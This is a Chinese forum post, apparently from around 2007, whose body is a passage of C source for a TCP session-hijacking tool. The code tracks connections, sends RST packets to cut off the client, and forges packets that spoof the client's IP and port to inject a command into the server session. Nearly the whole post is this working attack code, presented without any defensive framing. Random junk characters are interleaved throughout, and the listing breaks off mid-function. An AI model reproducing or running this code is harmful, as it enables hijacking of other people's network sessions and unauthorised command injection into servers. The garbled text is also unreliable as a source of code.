- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
, e" ~2 n4 Z D5 C) v. n/ q //reset action flag 1 \" r! y( v) k: @ [* D1 F6 Y
ResetActionAllFlag(); ! G _* P7 L) u1 s8 o
}
9 |, K$ j- ]# `! L2 k //start hijack ; L' A6 K! I; C
else if(g_dwAction == ACTION_HIJACK) ( k# ]: d- z) I0 w: g
{ / \+ t4 g4 G( {
//send rst packet to client
) I1 W9 E$ Y. \7 Z& L8 s O* X SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
: _5 n3 n) g: a" H9 x //send hijack packet to client
0 w! u6 Y! v# K- [3 F; t+ J( e SendHiJackPacket(pTCPPacket);
/ ?. E6 o, }' b, J K& h- ^ //reset action flag % ]1 B$ S9 M$ z. z. n/ v5 ^
ResetActionAllFlag();
3 Y- U7 H( ?: T9 C+ [1 s } 4 [9 I t( }' v
}
: R7 M8 X: H3 H9 o& \. M4 h5 Z //show the tcp data
4 F4 Z) ] Y7 f3 S. ]+ Z5 O if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
3 v+ d( l/ J" R2 q% O v& Y { 1 t7 e2 |" @% m3 Y8 t
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 8 `" h2 ]/ I' \' s0 w, {
//暂不考虑IP、TCP头不是20字节的情况 1 e5 Z9 a/ g' O& R4 [+ p
//pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
* z7 U0 U6 h* Q pStr = (char *)pTCPPacket + 54; ) X& t0 p- L$ K7 E% b6 }; _
for(i=0; i }
# J* ~% E. T5 J/ Q/ L/ ~* K }
8 r! e0 s* G, ^9 B& m: ] //debug output
- ^( j5 {3 W! a# H6 m4 E //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 2 c3 E3 W0 b6 s( D7 f8 p- O
}//end of analyse packets while
$ Z& {/ S( S4 L% P! T0 T- t' G }//end of recv packets while ' u2 @$ D/ |7 y# m$ `
PacketFreePacket(lpRecvPacket);
* X, A4 ~: n6 N: P; a! E return 0;
$ ~$ N1 t+ C! q}
1 `. S. |3 \7 z# r/ g+ }. B% g
) j5 |$ G/ b% ?% V) U% M
" `/ i, e- K5 d4 ]3 R; }3 f//
5 ~3 R, [# Q$ X! p N2 T% Q: U//功能:操作记录所有连接信息的单向链表
. W6 Z- D# R; g//
! `5 G9 ?. g8 e5 S2 t0 TDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
3 J3 E/ ]; s% `+ k; j4 w" I. s% V USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
$ q7 {- ]* U0 s* [, v( ~% h{
/ D6 E) @% a! \0 y. Z6 L9 B: I8 k PCONNINFO pNew, pTmp;
6 t C h* Y0 V" v0 I J+ w$ W0 H9 x
0 J' b7 p( x8 v" Q* ] pTmp = g_pConnHead; . c# W. B G5 B1 w
while(pTmp) 1 F. e/ P( d9 N+ ~, Q2 \# _
{ $ L' k% o; Y# Y
if(pTmp->bActive) , b: W# I5 s9 D1 v0 ?( I$ n
{ " ~* U' Z& n# C" m3 m, h8 G; r
//found it & ]( X% t; `: F* b
if( (pTmp->dwServerIP == dwServerIP) && ; ^" V# J1 c& |7 B
(pTmp->uServerPort == uServerPort) &&
/ U3 V! a: s( }/ G& a (pTmp->dwClientIP == dwClientIP) && 6 Y) u- q% o& V" d" y! l' |' E
(pTmp->uClientPort == uClientPort) ) ' K: E- w9 q( S
{ 1 Q% r4 A, N9 Y: t
if(bDelete)
! @0 G3 r* k5 ?$ [% ], x8 C: ~; v { , y; K- {: V' A E5 b% L1 N
pTmp->bActive = FALSE;
5 ? c; g4 [1 H* E# X8 |0 o return 0;
5 S* H: A! j' K$ I } / @+ g& S9 `- f+ D
else return pTmp->ident; ' y7 Q s$ Y ?- c: V
} * N% g! d& ?+ u' [# b/ A
} ; h# n" F1 y7 p0 n% t4 t
pTmp = pTmp->Next; ' a$ t: Y- |' x K$ t
}
) l/ T, r% y. } //not found, create new node
" r: r- a5 G6 H. ^7 ] if( (!pTmp) && (!bDelete) && (bAddNew) ) # h- X7 R- l7 H( f! @- P3 K1 b* _; ]
{ ( j* P% V9 Y' f7 e
//search unactive note " l9 C: ~/ K2 ?1 t
pTmp = g_pConnHead; 5 T. Y/ s: P. `, g( Q3 W& G
while(pTmp)
/ O0 I& H* `; Z& s9 ]: `' I {
( y+ _5 A. M6 n if(!pTmp->bActive) break;
6 G1 L* c) `: Y6 @7 ^ pTmp = pTmp->Next; 7 F0 S5 d& O# B5 C" O7 N Q2 A
} ; h3 m6 M1 i+ ?6 w8 \" z
//found a unactive node 9 z0 r0 z/ A1 i" A9 E2 T
if(pTmp) : W. S ^. Z5 k+ J% P0 \0 V4 V
{
$ n3 [8 b, K, a- M# n pTmp->dwServerIP = dwServerIP;
; H) \6 T- a3 _0 H v& t pTmp->uServerPort = uServerPort;
* \. B7 O0 k5 U pTmp->dwClientIP = dwClientIP; 6 y- t$ \5 k' T7 y4 i- y, x+ I
pTmp->uClientPort = uClientPort;
+ X. k& |& }$ I) h( h" K; [" m pTmp->bActive = TRUE; $ S. t+ h* T3 F, y7 `2 y" t5 R R
return pTmp->ident; 7 j& I! o# z* Z9 B) Z, @" L& T
}
3 f( J* \2 |8 x/ m% e( d //not found,create new node ) c9 I) q, _2 P4 v& M9 T8 C. j
pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); 5 B4 i9 I" G; I0 U C
if(!pNew)
6 i& N( t. a& E U5 o, S" `* t9 ~ {
i$ B% I1 w9 D; J; E( _5 _ printf("malloc for link node error:%d\n", GetLastError());
% G) W/ X- O5 R return 0;
; F2 y5 ? l( G: l } ! X/ b+ Z9 ^, S) I" j7 z6 b
//fill the struct
. l3 q1 |0 s3 P/ q7 X* r5 Q+ R pNew->bActive = TRUE;
; A2 \) I; K0 }& G; Y# b! }% L pNew->dwServerIP = dwServerIP;
0 C; h. _5 F/ p% `1 F4 }. } pNew->uServerPort = uServerPort; 8 ?5 D- u* T2 m6 E# \* T
pNew->dwClientIP = dwClientIP; 3 b" ~* U5 W8 V
pNew->uClientPort = uClientPort;
2 R& b+ ^; K( C' v. k8 Q$ ] pNew->ident = ++g_ident;
- t7 t9 `" n* _) _ pNew->Next = NULL;
) V6 i" u. }% k: q- p+ E, U- O //add new node to link
0 f& y: x* O: s- n7 M7 n2 u9 k if(!g_pConnHead) 9 {8 g, o3 I, q4 m/ T
g_pConnHead = g_pConnLast = pNew;
! V& }$ x$ ` D( I5 i" L else x. N" G7 S6 G
{
7 d2 K; G; P, | g_pConnLast->Next = pNew;
2 o- @- ]* ?6 x2 c* i$ a g_pConnLast = pNew; 6 K! K! c9 C6 m0 d4 d( k
} , U( f. O% ?8 S! x
return pNew->ident; 3 Z4 S5 r6 b' \4 @
} 4 W h( g: l) k P
return 0;
, ^( ^9 o* c& x. o* @ M' i}
; _$ R& `" s, B5 q* E
, k/ I/ \! x) ] ^//
6 @7 o# e: j! t( v//功能:判断一个数据包是不是只有ACK标志
3 {( n7 F1 K( g8 m" O& V2 s// 2 }9 C' o$ i2 U) | k% U/ F# G
BOOL IsACKPacket(unsigned char flag) 7 f& A2 r8 P; K/ K1 k3 V
{
7 w2 ^) P; c+ L1 r. g2 ]4 k int i, j=1; 8 w- e: l! W2 q0 y9 p8 ~4 {
for(i=0 ; i<4; i++)
5 t8 g+ a0 d6 q {
$ E2 ?! e) p, G) | if(flag & j) return FALSE;
: E* l$ n( H) o) s4 O j <<= 1;
* l6 @7 j3 T' U. f }
" s3 }, x( ?% r3 t. a if(!(flag & 0x10)) return FALSE;//is ack? ! v y% s9 R g6 f, ^( V+ I: G
if(flag & 0x20) return FALSE; # ?5 L H3 N# L! i' n v1 l9 O8 ^
return TRUE; 0 Z7 L2 [/ L/ N- L: E
}
, r, G; ^ M! J5 S8 f' O A
9 v9 C' O' R# L# c1 T//
9 X+ ^2 T3 X. f. e4 [0 M3 k//功能:伪装成Client给Server发送数据包 % I$ b0 R+ ~: v% K/ x) I
// - m1 e/ X6 I! Y) r5 _2 J9 B$ w
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
0 t" \. x% G7 @" c! i{
( H7 l" j3 J5 K4 L& z2 V' Z+ G$ b5 {8 F0 L* o9 J
char szBuff[1520];
: u8 \/ O" p- j& C$ R PSDHDR psdhdr; ( S3 C K7 e' f( q0 k- o
PTCPPACKET pHiJackPacket = NULL; , A' d& `8 G3 R. G. {8 [7 x* _
BOOL bRet = FALSE;
; _ F" ^$ o0 b1 B: w5 p
7 S: X+ `" D" C, Z% F __try % R" X; b* W: e+ \4 ^
{ ! o* E# G3 _& f4 z
// $ t6 `+ m% d+ F4 |
if(!g_pCurrCtrlConn) __leave; 2 T- h" @ r$ ]" I
//allocate memory for hijack packet
) L/ m. A' N" C0 I# a: \ pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
3 B8 u. p0 v$ j Z% `, J; _3 N if(!pHiJackPacket) ( Z5 p+ c: U7 M [$ R& ^) a# Z
{ 2 N) S% M# r1 g3 m7 i h
printf("malloc error:%d\n", GetLastError());
* `5 }# j2 Z: \. T __leave;
, O& X, \4 i9 O( x5 Z$ F }
4 e8 i" J1 A2 A B# O memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
1 d$ \2 l( g! Y& \! j1 ~, C //-------------- modify the packet ---------------// - i. h) V, M5 X
//modify ethernet head
, U) X" f2 ~. ]+ A) T memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6); 5 C4 Q5 Q0 ~' B
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
3 T4 v0 O5 e* [4 U" `2 v //modify ip head ; J! L2 N* r" _/ D
pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
' I/ r- W; s! w pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
% K5 V2 m% G& Y5 t/ @) U pHiJackPacket->iphdr.ident += 1;//标识加1
3 }4 ]1 ^# }( ^6 h1 _' ] pHiJackPacket->iphdr.checksum = 0; 8 B9 a2 m% ^' A7 p: \
pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client D9 \0 q0 y0 e; N
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
, L6 J" w; o# x! v& x) ? //modify tcp head 8 j/ Q* q6 s5 `, c6 A+ E
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
& |* H3 O) i' T% J: i7 Y3 t; e# { pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
. g! P' D3 r7 p, ~0 T pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
) [" D+ [/ s% b% Q0 G5 c pHiJackPacket->tcphdr.th_flag = 0x18;// PA
( J0 V8 P {7 T9 V pHiJackPacket->tcphdr.th_sum = 0;
+ u9 C3 J; @/ y7 C0 c- B pHiJackPacket->tcphdr.th_win = 0x3F44; , b0 @8 Z9 g" p' ~
//fill tcp psd head
8 o$ p3 n2 J; F Q3 ~. o# {3 L psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
7 M- t/ I2 G% p; w psdhdr.daddr = pHiJackPacket->iphdr.destIP;
+ [' V7 N- P5 Q psdhdr.mbz = 0; ' `8 Y1 j7 x/ l! j( H6 K1 A! b
psdhdr.ptcl = IPPROTO_TCP; - |2 H7 Z3 K/ ^0 S1 s
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
! n- K& u: Z! U5 u+ p //calculate tcp checksum
9 k8 j' C' \% X" e memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
3 X" `9 ?* P+ f$ o+ O3 ~6 M: Z memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); $ r$ _' O! ]; ^ q J# @! y
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); 2 N$ _' l. \% W1 B
pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); 0 `6 R. @+ b8 t; v# f- H
//calculate IP checksum
! Y- F: R) w+ p9 C% _1 u m- @1 \1 z pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); 3 w1 |2 B* q- ~" x* C( h$ i
//fill send buffer
' ~+ |+ l+ z/ c Y# J7 o) n memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); % p7 ?( M" a( \) Y8 J( S4 L. O
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
1 e9 R- r/ U7 o memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
H8 [- P3 U4 Q, n) l memset(g_lpSendPacket->Buffer, 0, 1514);
% v3 W5 @# v S! m' p/ v# r8 Z memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 7 t' i$ H$ d' Y; h7 N7 Y* E0 Z- z2 w- o
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
: F1 i( w8 v) u/ h& | {
3 c9 a; o" _# M8 t printf("Error sending the hijack packets!\n"); 9 n4 N5 x3 i5 M9 O+ I
__leave;
$ B9 }% R! ?7 P5 t4 f( I+ q }
# s @% ?% }" n else printf("Send hijack packet ok!\n"); 0 F2 p$ y O8 b5 Q# C
bRet = TRUE;
. V5 v& H6 o9 `3 @+ y } |
|